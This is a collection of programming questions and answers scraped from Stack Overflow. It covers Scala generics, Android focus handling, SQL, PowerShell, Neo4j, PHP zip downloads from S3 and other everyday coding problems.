37776272	0	Why invariant generic type parameterized with subclass of upper bounds fails to conform? <p>Given:</p> <pre><code>class Invar[T] trait ExtendsAnyref extends AnyRef def f(a: Invar[ExtendsAnyref]) = {} </code></pre> <p>The following is erroneous</p> <pre><code>scala&gt; val x: Function1[Invar[_ &lt;: AnyRef], Unit] = f &lt;console&gt;:13: error: type mismatch; found : Invar[ExtendsAnyref] =&gt; Unit required: Invar[_ &lt;: AnyRef] =&gt; Unit val x: Function1[Invar[_ &lt;: AnyRef], Unit] = f ^ </code></pre> <p>Why?</p> <p>I understand that in Scala, generic types have by default nonvariant subtyping. Thus, in the context of this example, instances of <code>Invar</code> with different type parameters would never be in a subtype relationship with each other. So an <code>Invar[ExtendsAnyref]</code> would not be usable as a <code>Invar[AnyRef]</code>.</p> <p>But I am confused about the meaning of <code>_ &lt;: AnyRef</code> which I understood to mean "some type below <code>AnyRef</code> in the type hierarchy." <code>ExtendsAnyref</code> is some type below <code>AnyRef</code> in the type hierarchy, so I would expect <code>Invar[ExtendsAnyref]</code> to conform to <code>Invar[_ &lt;: AnyRef]</code>.</p> <p>I understand that function objects are contravariant in their input-parameter types, but since I use <code>Invar[_ &lt;: AnyRef]</code> rather than <code>Invar[AnyRef]</code> I understood, apparently incorrectly, the use of the upper bounds would have the meaning "<code>Invar</code> parameterized with <code>Anyref</code> or any extension thereof."</p> <p>What am I missing?</p>
30061259	0	 <p>To allow nice zooming you should add this line to the two you show:</p> <pre><code>chart1.ChartAreas["ChartArea1"].AxisX.ScaleView.Zoomable = true; </code></pre> <p>Here is a function to calculate an average of the visible points' 1st YValues:</p> <pre><code>private void chart1_AxisViewChanged(object sender, ViewEventArgs e) { // for a test the result is shown in the Form's title Text = "AVG:" + GetAverage(chart1, chart1.Series[0], e); } double GetAverage(Chart chart, Series series, ViewEventArgs e) { ChartArea CA = e.ChartArea; // short.. Series S = series; // references DataPoint pt0 = S.Points.Select(x =&gt; x) .Where(x =&gt; x.XValue &gt;= CA.AxisX.ScaleView.ViewMinimum) .DefaultIfEmpty(S.Points.First()).First(); DataPoint pt1 = S.Points.Select(x =&gt; x) .Where(x =&gt; x.XValue &lt;= CA.AxisX.ScaleView.ViewMaximum) .DefaultIfEmpty(S.Points.Last()).Last(); double sum = 0; for (int i = S.Points.IndexOf(pt0); i &lt; S.Points.IndexOf(pt1); i++) sum += S.Points[i].YValues[0]; return sum / (S.Points.IndexOf(pt1) - S.Points.IndexOf(pt0) + 1); } </code></pre> <p>Note that the <code>ViewEventArgs</code> parameter is providing the values of the position and size of the View, but these are just the <code>XValues</code> of the datapoints and not their indices; so we need to search the <code>Points</code> from the left for the 1st and from right for the last point.</p> <p><strong>Update</strong> Sometimes the zooming runs into a special problem: When the data are more finely grained than the default <code>CursorX.IntervalType</code> it just won't let you zoom. In such a case you simply have to adapt to the scale of your data, e.g. like this: <code>CA.CursorX.IntervalType = DateTimeIntervalType.Milliseconds;</code></p>
26761856	0	Rounding error on percent of total and back <p>A and B are integers.</p> <p>Is it <strong>certain</strong>, with all the complexities of rounding errors in JavaScript, that:</p> <p><code>(A/(A+B))*(A+B) === A</code></p> <p>This is to say that if the user enters 10, and 20 for A and B respectively, can I store the summed total (30) with A = .33333333 and B = .66666666 and later multiply the sum by these decimals to get back to the value of 10 (with no rounding error)?</p>
25184607	1	Sort a dictionary of arrays in python with a tuple as the key <p>I a dictionary with a string tuple as the key and an array as the value:</p> <pre><code>some_dict = {} some_dict[(A,A)] = [1234, 123] some_dict[(A,B)] = [1235, 13] some_dict[(A,C)] = [12, 12] some_dict[(B,B)] = [12621, 1] ... </code></pre> <p>I am writing this to a csv file:</p> <pre><code>for k,v in some_dict.iteritems(): outf.write(k[0]+","+k[1]+","+str(v[0])+","str(v[1])+"\n") </code></pre> <p>output:</p> <pre><code>A,A,1234,123 A,B,1235,13 A,C,12,12 B,B,12621,1 </code></pre> <p>I'd like to sort it based on the first number "column" before writing to a file (or after and just rewrite?) so the output should be like:</p> <pre><code>B,B,12621,1 A,B,1235,13 A,A,1234,123 A,C,12,12 ^ Sorted on this 'column' </code></pre> <p>How do I do this? The file is very large, so doing it before writing would be better I think.</p>
15818792	0	 <p>I installed JRE version 6 on my machine and this cleared the problem. (I previously had version 7 on the machine.)</p>
17990096	0	 <h2>Focus Handling</h2> <p>Focus movement is based on an algorithm which finds the nearest neighbor in a given direction. In rare cases, the default algorithm may not match the intended behavior of the developer. </p> <p>Change default behaviour of directional navigation by using following XML attributes:</p> <pre><code>android:nextFocusDown="@+id/.." android:nextFocusLeft="@+id/.." android:nextFocusRight="@+id/.." android:nextFocusUp="@+id/.." </code></pre> <p>Besides directional navigation you can use tab navigation. For this you need to use</p> <pre><code>android:nextFocusForward="@+id/.." </code></pre> <p>To get a particular view to take focus, call </p> <pre><code>view.requestFocus() </code></pre> <p>To listen to certain changing focus events use a <a href="http://developer.android.com/reference/android/view/View.OnFocusChangeListener.html"><code>View.OnFocusChangeListener</code></a></p> <hr> <h2>Keyboard button</h2> <p>You can use <a href="http://developer.android.com/reference/android/widget/TextView.html#attr_android:imeOptions"><code>android:imeOptions</code></a> for handling that extra button on your keyboard.</p> <blockquote> <p>Additional features you can enable in an IME associated with an editor to improve the integration with your application. The constants here correspond to those defined by imeOptions. </p> </blockquote> <p>The constants of imeOptions includes a variety of actions and flags, see the link above for their values. </p> <p><strong>Value example</strong></p> <p><a href="http://developer.android.com/reference/android/view/inputmethod/EditorInfo.html#IME_ACTION_NEXT">ActionNext</a> : </p> <blockquote> <p>the action key performs a "next" operation, taking the user to the next field that will accept text.</p> </blockquote> <p><a href="http://developer.android.com/reference/android/view/inputmethod/EditorInfo.html#IME_MASK_ACTION">ActionDone</a> :</p> <blockquote> <p>the action key performs a "done" operation, typically meaning there is nothing more to input and the IME will be closed.</p> </blockquote> <p><strong>Code example:</strong></p> <pre><code>&lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity" &gt; &lt;EditText android:id="@+id/editText1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentLeft="true" android:layout_alignParentTop="true" android:layout_marginLeft="32dp" android:layout_marginTop="16dp" android:imeOptions="actionNext" android:singleLine="true" android:ems="10" &gt; &lt;requestFocus /&gt; &lt;/EditText&gt; &lt;EditText android:id="@+id/editText2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignLeft="@+id/editText1" android:layout_below="@+id/editText1" android:layout_marginTop="24dp" android:imeOptions="actionDone" android:singleLine="true" android:ems="10" /&gt; &lt;/RelativeLayout&gt; </code></pre> <p>If you want to listen to imeoptions events use a <a href="http://developer.android.com/reference/android/widget/TextView.OnEditorActionListener.html"><code>TextView.OnEditorActionListener</code></a>. </p> <pre><code>editText.setOnEditorActionListener(new TextView.OnEditorActionListener() { @Override public boolean onEditorAction(TextView v, int actionId, KeyEvent event) { if (actionId == EditorInfo.IME_ACTION_SEARCH) { performSearch(); return true; } return false; } }); </code></pre> <hr>
20531709	0	 <p>Not that familiar with how you query the db, but you probably have iterate over the result set like this:</p> <pre><code>&lt;table&gt; @foreach(var n in nilstock) { &lt;tr&gt;&lt;td&gt;@n.STOCKCODE&lt;/td&gt;&lt;td&gt;@n.TOTALSTOCK&lt;/td&gt;&lt;/tr&gt; } &lt;table&gt; </code></pre>
14141611	0	 <pre><code>&lt;div id = "container"&gt; &lt;div id="header"&gt;&lt;/div&gt; &lt;div id="content"&gt;&lt;/div&gt; &lt;div id="footer"&gt;&lt;/div&gt; &lt;/div&gt; #container {min-width:620px;} </code></pre> <p>See example: <a href="http://jsfiddle.net/calder12/xN2PV/3/" rel="nofollow">http://jsfiddle.net/calder12/xN2PV/3/</a></p> <p>Point to note. min-width is not supported in IE6. I doubt this matters, if it does you'll need a different solution.</p>
2777887	0	What's wrong with my logic (Java syntax) <p>I'm trying to make a simple program that picks a random number and takes input from the user. The program should tell the user if the guess was hot (-/+ 5 units) or cold, but I never reach the else condition.</p> <p>Here's the section of code:</p> <pre><code> public static void giveHint (int guess) { int min = guess - 5; int max = guess + 5; if ((guess &gt; min) &amp;&amp; (guess &lt; max)) { System.out.println("Hot.."); } else { System.out.println("Cold.."); } } </code></pre>
20846012	0	 <p>This should work for you. Check out the in-line comments.</p> <pre><code># 1. Let's assume the folder c:\test contains a bunch of plain text files # and we want to find only the ones containing 'foo' AND 'bar' $ItemList = Get-ChildItem -Path c:\test -Filter *.txt -Recurse; # 2. Define the search terms $Search1 = 'foo'; $Search2 = 'bar'; # 3. For each item returned in step 1, check to see if it matches both strings foreach ($Item in $ItemList) { $Content = $null = Get-Content -Path $Item.FullName -Raw; if ($Content -match $Search1 -and $Content -match $Search2) { Write-Host -Object ('File ({0}) matched both search terms' -f $Item.FullName); } } </code></pre> <p>After creating several test files, my output looks like the following:</p> <pre><code>File (C:\test\test1.txt) matched both search terms </code></pre>
19610950	0	 <p>Instead of doing this: <code>public static final TitleType MR = new TitleType(1, "Mr");</code></p> <p>You should use the EntityManager to fetch that Object. Otherwhise Hibernate will notice, that this Object (with id 1) is already stored, but since you did not load it, the entity manager does not have it inside its own collection -> that's a detached entity.</p> <p>So, you should do:</p> <pre><code>TitleType MR = em.find(TitleType.class, 1); Person p = new Person(...); p.setTitleType(MR); em.merge(p); </code></pre>
21383203	0	 <p>Your input text is full of a mix of word and non-word characters, so the only way to determine a word boundary is to look behind and ahead for spaces:</p> <pre><code>re.findall(ur'(?&lt;![^ ])വി[^ ]+ണ്?(?![^ ])', inputtext, flags=re.UNICODE) </code></pre> <p>where <code>inputtext</code> is a Unicode value. The <code>(?&lt;!...)</code> and <code>(?!...)</code> are negative lookbehind and lookahead assertions; the match locations in the text that are <em>not</em> preceded or followed by a non-space character, respectively.</p> <p>Within your boundary text, we match non-spaces as well.</p> <p>This matches your expected input:</p> <pre><code>&gt;&gt;&gt; print re.findall(ur'(?&lt;![^ ])വി[^ ]+ണ്?(?![^ ])', inputtext, flags=re.UNICODE)[0] വിചാരണ </code></pre>
8830512	0	how create simple side menu with jquery? <p>i have menu in side location and that code is : </p> <pre><code>&lt;ul&gt; &lt;li&gt; &lt;span class="arz"&gt; first menu &lt;/span&gt; &lt;ul id="arz"&gt; &lt;li&gt; first submenu &lt;/li&gt; &lt;li&gt; second submenu &lt;/li&gt; &lt;li&gt; third submenu &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li class="words"&gt; two menu &lt;ul id="words"&gt; &lt;li&gt; first submenu &lt;/li&gt; &lt;li&gt; second submenu &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; </code></pre> <p></p> <p>and jquery code is : </p> <pre><code>$(document).ready(function(){ $(".submenu").click(function(){ $(this).children(this).slideToggle("slow"); }); }); </code></pre> <p>but i want by clicking on <em>first menu</em> <code>ul</code> element with <code>id="arz" using</code>slideToggle<code>,<br> this code do it but when i click on every submenu item corresponding ul use</code>slideToggle`. by thanks<br> aya</p>
38844857	0	 <p>You can try following</p> <pre><code>use tempdb create table #ttt ( c1 int identity not null, c2 int not null, c3 int default -1, c4 as (case when c3 &lt; 0 then c3+1 else c3 end), c5 as (case when c3 &lt; 0 then 'DEFAULT VALUE' else 'USER SUPPLIED' end) ) insert into #ttt values (10, 20) insert into #ttt values (11, 21) insert into #ttt (c2) values (20) select * from #ttt /*For selections, you can use */ Select C1, C2, C4 from #ttt </code></pre>
25184942	0	 <p>Actually an array is a fixed pointer to the first element in the array (I think this is known as an L-value). This means your assignments at the end for the tempState, currState and nextState cannot work (as you have discovered).</p> <p>After declaring space for the 2 2d-arrays, you could then declare pointers to the 2d arrays which you might be able to work in a reasonable way. To use the pointers for indexing into the 2-d array, the compiler would need to be aware of the size of the last dimension(s) of the array.</p>
17439523	0	 <pre><code>$('#element').keyUp(function(e){ var max = 2; var text = $(e.currentTarget).text().substring(0,max); $(e.currentTarget).text(text); }); </code></pre>
36843211	0	 <p><code>RDD</code> is Apache Spark's abstraction for a <strong>Distributed Resilient Dataset</strong> </p> <p>To create an <code>RDD</code> you'll need an instance of <code>SparkContext</code>, which can be thought of as a "connection" or "handle" to a <em>cluster</em> running Apache Spark. </p> <p><strong>Assuming</strong>:</p> <ul> <li>You have an instantiated <code>SparkContext</code></li> <li>You want to treat your input as a "flat" sequence of <code>(Double, Double)</code> values, <em>ignoring</em> the way these are currently "split" into sub-sequences in <code>Seq[Seq[(Double, Double)]]</code></li> </ul> <p>You can create an RDD as follows:</p> <pre><code>val sc: SparkContext = ??? val output: Seq[Seq[(Double, Double)]] = ??? val rdd: RDD[(Double, Double)] = sc.parallelize(output.flatten) </code></pre>
40985875	0	Getters, Setters and Constructors in Java - Making a car and stocking it <p>I'm trying to create a class in Java using BlueJ. My class is named Automobile. My goal is to be able to use my Constructor method to create cars with the variables: year, color, brand, number of doors, number of kilometers, if it's automatic (boolean), if it's sold (boolean), a description, and an identification number. All the variables have a set default value, a minimum and a maximum accepted value.</p> <p>I have to use getVariablename and setVariablename for my methods. My color and brand variables are int, and I made methods to retrieve their String counterparts in a table in my class. </p> <p>My issue is I don't understand the principle of setting my variable in one method and getting it in another (while making sure it's an accepted value). Also, once I have my Setter and Getter method, what do I have to write down in the creation of my Constructor method?</p> <p>Up to now, I have this :</p> <pre><code>public class Automobile { private static final String[] COLORS = { "Other", "Noir", "Blanc", "Bleu Nuit", "Bleu Clair", "Vert Pomme", "Vert Bouteille", "Taupe", "Argent", "Sable"}; private static final String[] BRANDS = { "Autre", "Mazda", "Toyota", "Ford", "GM", "Hyunday", "BMW", "SAAB", "Honda"}; public static final int COLOR_DEF = 8; public static final int COLOR_MIN = 0; public static final int COLOR_MAX = COULEURS.length - 1; public static final int BRAND_DEF = 4; public static final int BRAND_MIN = 0; public static final int BRAND_MAX = MARQUES.length - 1; public static final double KILO_DEFAULT = 55000; public static final double KILO_MIN = 15000; public static final double KILO_MAX = 140000; public static final int TWO_DOORS = 2; public static final int FOUR_DOORS = 4; public static final int DOORS_DEFAULT = FOUR_DOORS; public static final boolean AUTO_DEF = true; public static final int YEAR_MIN = 1997; public static final int YEAR_MAX = 2016; public static final int YEAR_DEFAUT = 2007; public static final String COMM_DEFAUT = ""; public static String color (int cou) { String chainecolor = ""; if (cou &gt;= COLOR_MIN &amp;&amp; cou &lt;= COLOR_MAX) { chainecolor = COLORS[cou]; } return chainecolor; } //This method is to return the String value of a color from its int value using the COLORS table. If invalid it returns an empty chain. public static String brand (int br) { String chainebrand = ""; if (ma &gt;= BRAND_MIN &amp;&amp; ma &lt;= BRAND_MAX) { chainebrand = BRANDS[br]; } return chainebrand; } //same thing for the brand public Automobile (int brand, int year, int color, boolean automatic, double kilometers,int nbrDoors, String description, boolean sold){ //To be completed } //here i'm supposed to create getters that return int values for everything but automatic, sold and description public void setYear ( int year ) { if (year &gt;= YEAR_MIN &amp;&amp; YEAR &lt;= YEAR_MAX) { year = year; } } // supposed to be the setter for my year, as long as it's within the accepted values public void setMarque (int brand){ if (brand &gt;= BRAND_MIN &amp;&amp; brand &lt;= BRAND_MAX) { brand = brand; } } //same, for the brand public void setColor (int color) { if (color &gt;= COLOR_MIN &amp;&amp; color &lt;= COLOR_MAX){ color = color; } }// same for the color public void setNbrDoors (int p) { if (p == TWO_DOORS || p == FOUR_DOORS){ p = p; } } // same for the door. I am forced to use (int p) as the variable for this method, which confuses me as to how I will refer to it from nbrDoors up in the Automobile constructor method } // Automobile </code></pre> <p>So my difficulties lie in: </p> <ul> <li><p>Are the examples of setters that I made valid for this purpose? I do not understand the need for p = p, or color = color...</p></li> <li><p>How do I create a getter method that will be able to go pick up the Variable p from setNbrDoors, return its value and have it be used for nbrDoors in the Automobile constructor?</p></li> <li><p>What am I supposed to write in the Constructor method, such as it will be able to get its values from the getters?</p></li> </ul> <p>This is all because the second part is I will have to create a little code to ask the user to input all the values for variables, then create a table to stock the Cars the user creates.</p> <p>P.S.: the work is originally in french, so I translated the variable and method names best I could for your better understanding. Also, the variable names, methods, etc are all imposed, I am FORCED to make the class this way exactly.</p> <p>EDIT: As such, the use of static for brand and color conversion are also imposed. Those 2 methods are solely for returning a String of character from an int value. they are not used in the Constructor. Finally, the exceptions will be handled in the second part of the work using a separate validation loop. The Automobile class is really used solely to handle the creation of the "car" object.</p>
13319747	0	How can i increment the counter? <p>At the registration time i wanted if side is left then my left count will increment and side is Right then my right is increment and both side is filled then their sponcor will increment... How can i do this????</p> <p>HERE i wanted to increment the my counter but it is not working propperly always counter show me null...., please tell me where m wrong.???</p> <pre><code>DECLARE @regid int SET @regid=@@IDENTITY DECLARE @RegistrationCode varchar(100) DECLARE registrationcodeCursor CURSOR FOR SELECT [dbo].[RegistrationCode] ( 'P4U',@fname,@mname,@lname,'000',@regid,'34',@dob ) OPEN registrationcodeCursor FETCH FROM registrationcodeCursor INTO @RegistrationCode CLOSE registrationcodeCursor DEALLOCATE registrationcodeCursor UPDATE Registration_Master SET regCode=@RegistrationCode WHERE registrationid=@regid DECLARE @regid1 int SET @regid1=@@IDENTITY DECLARE @usernm varchar(50) DECLARE usernameCursor CURSOR FOR SELECT [dbo].[fullusername] ( @fname,' ',@mname,' ',@lname ) OPEN usernameCursor FETCH FROM usernameCursor INTO @usernm CLOSE usernameCursor DEALLOCATE usernameCursor UPDATE Registration_Master SET username=@usernm WHERE registrationid=@regid1 --Pair Matching SET @count_mem=0 WHILE(@sponcorid!=NULL) BEGIN IF(@regCode !=NULL) BEGIN DECLARE @countl int IF(@side ='LEFT') BEGIN UPDATE Registration_Master SET @count_mem=@count_mem+1 WHERE regCode=@regCode AND side='LEFT' AND count_mem=@count_mem END DECLARE @countr int IF(@side='RIGHT') BEGIN UPDATE Registration_Master SET @count_mem=@count_mem+1 WHERE regCode=@regCode AND side='RIGHT' AND count_mem=@count_mem END IF(@countl=@countr) BEGIN UPDATE Registration_Master SET @count_mem=@count_mem+1 WHERE regCode=@regCode IF(@regCode!=NULL) BEGIN UPDATE Registration_Master SET @count_mem=@count_mem+1 WHERE sponcorid=@sponcorid AND count_mem=@count_mem END END END END SELECT registrationid, regCode, fname,mname,lname,username, p_password,question,answer, person_address, gender, sponcorid, dob,productname, payment, sponcorname, side, mobile, bankname, baccno, bankbranch, PAN, IFSC_code, email_id, member_status, count_mem,smart_pin,createddate, is_activate FROM Registration_Master WHERE registrationid=@@IDENTITY </code></pre>
12194433	0	Comparing variables inside a /F loop (BATCH) <p>I have this code:</p> <pre><code>@echo off SETLOCAL ENABLEDELAYEDEXPANSION SET /A counter=0 SET /A counter2=0 for /f %%h in (users.txt) do ( set /a counter2=0 set /a counter=!counter!+1 for /f %%i in (users.txt) do ( set /a counter2=!counter2!+1 IF !counter! gtr !counter2! echo !counter! and !counter2! ) ) </code></pre> <p>For some reason I the If statement in there errors. If I cross it out it all runs just fine. What's wrong with my syntax? Thanks!</p>
33129705	0	 <p>You may try below query </p> <pre><code>SELECT DATEADD(MINUTE,(LEFT(@hour,2)*60+RIGHT(@hour,2)),@conductor_date) </code></pre>
8551762	0	Bind a popup to another draggable popup relatively <p>I use a jQuery UI dialog in which there is another pop-up. </p> <pre class="lang-js prettyprint-override"><code>$("#dialog").dialog({ autoOpen: false, show: "blind", hide: "explode" }); $("#opener").click(function() { $("#dialog").dialog("open"); return false; }); // BUTTONS $('.fg-button').hover(function() { $(this).removeClass('ui-state-default').addClass('ui-state-focus'); }, function() { $(this).removeClass('ui-state-focus').addClass('ui-state-default'); }); // MENUS $('#hierarchybreadcrumb').menu({ content: $('#hierarchybreadcrumb').next().html(), backLink: false }); </code></pre> <p>See here the live version: <a href="http://jsfiddle.net/nrWug/1" rel="nofollow">http://jsfiddle.net/nrWug/1</a></p> <p>If I open the iPod menu and than drag the dialog, the iPod menu is displaced. How can I bind these two to make the dialog draggable and resizable?</p>
16530501	0	 <p>While you can change the VM sizes now as part of an in-place update, you should expect some instance downtime. The Windows Azure fabric controller will walk the upgrade domains, taking 1 upgrade domain down to change the VM sizes, and then moving on to the next. If you have 2 instances, you shouldn't have noticed an entire outage (just 1 machine going down at a time).</p> <p>You can see some further details at <a href="http://msdn.microsoft.com/en-us/library/windowsazure/hh472157.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/windowsazure/hh472157.aspx</a>. </p>
1905416	0	 <p>You can use spring with hibernate. You just need to make a bean for your hibernate configuration and load it using aop or bean name into your application startup.</p> <p>Here is a tutorial : <a href="http://www.roseindia.net/struts/hibernate-spring/spring-context.shtml" rel="nofollow noreferrer">http://www.roseindia.net/struts/hibernate-spring/spring-context.shtml</a> and another one : <a href="http://www.ibm.com/developerworks/web/library/wa-spring2/" rel="nofollow noreferrer">http://www.ibm.com/developerworks/web/library/wa-spring2/</a></p>
39331307	0	 <p>Neo4j does not support storing another object as a nested property. Neo4j-OGM only supports </p> <blockquote> <p>any primitive, boxed primitive or String or arrays thereof, essentially anything that naturally fits into a Neo4j node property. </p> </blockquote> <p>If you want to work around that, you may need to create a custom type convertor. For example, </p> <pre><code>import org.neo4j.ogm.typeconversion.AttributeConverter class XYZ{ XYZ(Integer x, String y) { this.x = x this.y = y } Integer x String y } public class XYZConverter implements AttributeConverter&lt;XYZ, String&gt; { @Override public String toGraphProperty(XYZ value) { return value.x.toString() + "!@#" + value.y } @Override public XYZ toEntityAttribute(String value) { String[] split = value.split("!@#") return new XYZ(Integer.valueOf(split[0]), split[1]) } } </code></pre> <p>You can then annotate the @NodeEntity with a @Convert like this</p> <pre><code>@NodeEntity class Node { @GraphId Long id; @Property String name @Convert(value = XYZConverter.class) XYZ xyz } </code></pre> <p>On the flip side, its not a good practice to do this, since ideally you should link Node and XYZ with a 'hasA' relationship. Neo4j has been designed to optimally handle such kind of relationships, so it would be best to play with to strengths of neo4j</p>
29054976	0	Download in .zip file works with website image but not image from Amazon S3 with signed Url <p>I have an object with signed Urls to images on Amazon S3. My example is simplified to one image and my goal is to download a zip file with that image.</p> <p>This image works with my code in the variable <code>$fileUrl</code></p> <blockquote> <p><a href="http://google.com/images/logo.png" rel="nofollow">http://google.com/images/logo.png</a></p> </blockquote> <p>But not this (in variable <code>$fileUrl</code>), I get a corrupt .zip file. I can open the image in the browser with the signed url.</p> <blockquote> <p><a href="https://mybucketname.s3.amazonaws.com/94c70e8a-61f6-4f58-a4b7-1679df5a7c1f.jpg?response-content-disposition=attachment%3B%20filename%3D94c70e8a-61f6-4f58-a4b7-1679df5a7c1f.jpg&amp;AWSAccessKeyId=AKIAJNY3GPOFFLQ&amp;Expires=1426371544&amp;Signature=HDNhGKHDsjEgqkMreN3tbozkfzo%3D" rel="nofollow">https://mybucketname.s3.amazonaws.com/94c70e8a-61f6-4f58-a4b7-1679df5a7c1f.jpg?response-content-disposition=attachment%3B%20filename%3D94c70e8a-61f6-4f58-a4b7-1679df5a7c1f.jpg&amp;AWSAccessKeyId=AKIAJNY3GPOFFLQ&amp;Expires=1426371544&amp;Signature=HDNhGKHDsjEgqkMreN3tbozkfzo%3D</a></p> </blockquote> <pre><code> $zipName = 'zipfile.zip'; # create new zip opbject $zip = new ZipArchive(); $fileUrl = 'https://mybucketname.s3.amazonaws.com/94c70e8a-61f6-4f58-a4b7-1679df5a7c1f.jpg?response-content-disposition=attachment%3B%20filename%3D94c70e8a-61f6-4f58-a4b7-1679df5a7c1f.jpg&amp;AWSAccessKeyId=AKIAJNY3GPOFFLQ&amp;Expires=1426371544&amp;Signature=HDNhGKHDsjEgqkMreN3tbozkfzo%3D'; # create a temp file &amp; open it $tmp_file = tempnam('.',''); $zip-&gt;open($tmp_file, ZipArchive::CREATE); # download file $download_file = file_get_contents($fileUrl); #add it to the zip $zip-&gt;addFromString(basename($fileUrl),$download_file); # close zip $zip-&gt;close(); # send the file to the browser as a download header('Content-type: application/zip'); header('Content-disposition: attachment; filename='.$zipName); header('Content-Length: ' . filesize($tmp_file)); readfile($tmp_file); </code></pre>
17276299	0	 <pre><code>Caused by: java.lang.NullPointerException at android.content.ContextWrapper.getResources(ContextWrapper.java:81) </code></pre> <p>This suggests you're trying to access your resources too early, for example when initializing your member variables. Only call <code>getResources()</code> in <code>onCreate()</code> or later in activity lifecycle.</p> <p>After fixing that you'll find that <code>mWebView</code> is <code>null</code> as suggested by others. You'll need to <code>setContentView()</code> first before calling <code>findViewById()</code> to find components in your content view hierarchy.</p>
26690852	0	Is it possible to insert an icon in the arc of a donut chart with D3? <p>I have a Donut Chart with 3 categories (arcs): Facebook (50%), Twitter(30%) and Instagram(20%). Plot the chart is fairly easy, but I want to know how to insert an icon in each arc with the respective symbol of the social network (using D3 or even C3).</p> <p>Thanks! </p>
9152166	0	 <p>You cannot use <code>document.write()</code> once the document is loaded. Doing so will cause the entire document to be cleared and a new one started. If you want to add text to a document that has already been loaded, then you can use the appropriate jQuery methods to modify existing elements or add new ones.</p> <p>To help you with the exact code, we would need to see your HTML and a more complete description of exactly what you're trying to add to it.</p> <p>As some examples, one can add objects to an element with the <code>.append()</code> jquery method or using the <code>.html()</code> method.</p>
11335888	0	 <p>Apple users can download your .apk file, however they cannot run it. It is a different file format than iPhone apps (.ipa)</p>
6649409	0	 <p>i was struggling a while back with the same problem. i was following ryan bates screencast on delayed_job and got the same error 'uninitialized constant Delayed::Job'. In the screencast ryan creates a file called mailing_job.rb(located under lib folder) with the delayed_job perform method inside, which allows you to use the enqueue method. After doing some research i found that rails 3 does not automatically load the lib folder files into your app.(not entirely sure)<br /></p> <p>Try this<br /> In your controller where you use this:<br /></p> <pre><code>"Delayed::Job.enqueue do_it(), 0, 1.minutes.from_now.getutc" </code></pre> <p>Try to require the file like this. <br /></p> <pre><code>require 'mailing_job' class AssetsController &lt; ApplicationController def some_method Delayed::Job.enqueue do_it(), 0, 1.minutes.from_now.getutc end end </code></pre>
27848102	0	 <p>In the usual case destructor is not caused for objects created in <strong><code>main()</code></strong>. But there is a good &amp; elegant solution - you can put your code into the <strong>extra parentheses</strong>, and then the destructor will be invoked:</p> <pre><code>int main() { { myApp app; app.run(); getchar(); } // At this point, the object's destructor is invoked } </code></pre>
18447107	0	How do I tell solr where my document collection is? <p>My sysadmin installed <a href="http://lucene.apache.org/solr/" rel="nofollow">solr</a> here: <code>/software/packages/solr-4.3.1/</code> I followed the <a href="http://lucene.apache.org/solr/4_3_1/tutorial.html" rel="nofollow">tutorial</a> (using Jetty) successfully. We have a working installation and things work as expected. I also, using <a href="http://www.solarium-project.org/" rel="nofollow">Solarium</a>, can query the example/collection1 document set from my website.</p> <p>Now I want to create my own document set that will live outsite of <code>/software/packages/solr-4.3.1/</code> but still use the instance of solr that lives in <code>/software/packages/solr-4.3.1/</code>. I copied over the example directory to <code>/path/to/mydocs</code>. I tried to go through the tutorial again from the new location. No dice. How do I tell solr where my document collection is?</p>
16225047	0	How to check if button is clicked while text input has focus using jQuery <p>I'm relatively new to code and have been building a little project called <a href="http://keyboardcalculator.com/" rel="nofollow">http://keyboardcalculator.com/</a> to improve my jQuery.</p> <p>I'm trying to add some more features to improve some things - and I've coded them! - but I want to add a button at the bottom of the page that displays a div to tell people what they are. </p> <p>I don't want to tarnish the user flow when the button is clicked - and a big part of that for me is that I don't want the user to have to click back into one of the text-input boxes to keep doing calculations. </p> <p>I want the focus to go back onto the last text-input that the user had focus on. This is my attempt to get it working on the #ansinput text-input field (the big one with the answer in):</p> <pre><code>if ($('#ansinput').is(':focus')) { $('#more-commands-button').click(function() { alert('hello') }); } </code></pre> <p>But I'm not getting my alert. </p> <p>Any help as where to go from here would be fantastic!</p> <p>Thank you very much StackOverflow!</p>
34508804	1	Count number of foreign keys in Django <p>I've read the documentation and all the other answers on here but I can't seem to get my head around it. </p> <p><strong>I need to count the number of foreign keys in an other table connected by a foreign key to a row from a queryset.</strong></p> <pre><code>class PartReference(models.Model): name = models.CharField(max_length=10) code = models.IntegerField() class Part(models.Model): code = models.ForeignKey(PartReference) serial_number = models.IntegerField() </code></pre> <p>I'll do something like:</p> <pre><code>results = PartReference.objects.all() </code></pre> <p>But I want a variable containing the count of the number of parts like any other field, something like:</p> <pre><code>results[0].count </code></pre> <p>to ultimately do something like:</p> <pre><code>print(results[0].name, results[0].code, results[0].count) </code></pre> <p>I can't wrap my head around the <a href="https://docs.djangoproject.com/en/1.9/ref/models/relations/" rel="nofollow">Django documentation</a>- There is a some stuff going on with <code>entry_set</code> in the example, but doesn't explain where <code>entry</code> came from or how it was defined.</p>
6348833	0	how to improve the quality of resultant video when merging audio-video with ffmpeg? <p>When merging an audio and video with ffmpeg, the quality of the resultant video goes down. How to we improve the quality(esp. the audio quality)?</p> <p>The audio quality gets degraded to quite an extent with random screeches in between. I've tried converting the audio to mp3 and video to mp4 before merging them, tried various audio-video parameters like bitrate, sample-rate, qscale etc but still unsuccessful. Any help would be greatly appreciated!</p>
10779145	0	get user's name and pic from id - graph API iOS <p>I am developing a game which is saving opponents ID. So I wanted to know how can I get user's name and and profile pic from the id here is what goes in for the parameter in </p> <pre><code>[facebook requestWithGraphPath:@"_______" andDelegate:self]; </code></pre> <p>thanks</p>
35956230	0	 <p>Oke i have a (ugly?) temporary Fix... What works till now What the working method is for now:</p> <pre><code>class class1(): ... init etc... def function1(inputs): do something return(output1) def function2(inputs): temp = class1(some inputs) returnval = temp.function1() do something else return(output2) </code></pre> <p>In my opinion it is a ugly solution so if somebody knows a better one!! comment please!!</p>
35398599	0	 <p>I had the same issue, what fixed it for me: Delete bin and obj folders, Uninstall-Package Akka, then Install-Package Newtonsoft.Json to latest version (8.0+) Then, Install-Package Akka, which will pick up the latest version of Newtonsoft.Json and be happy :).</p>
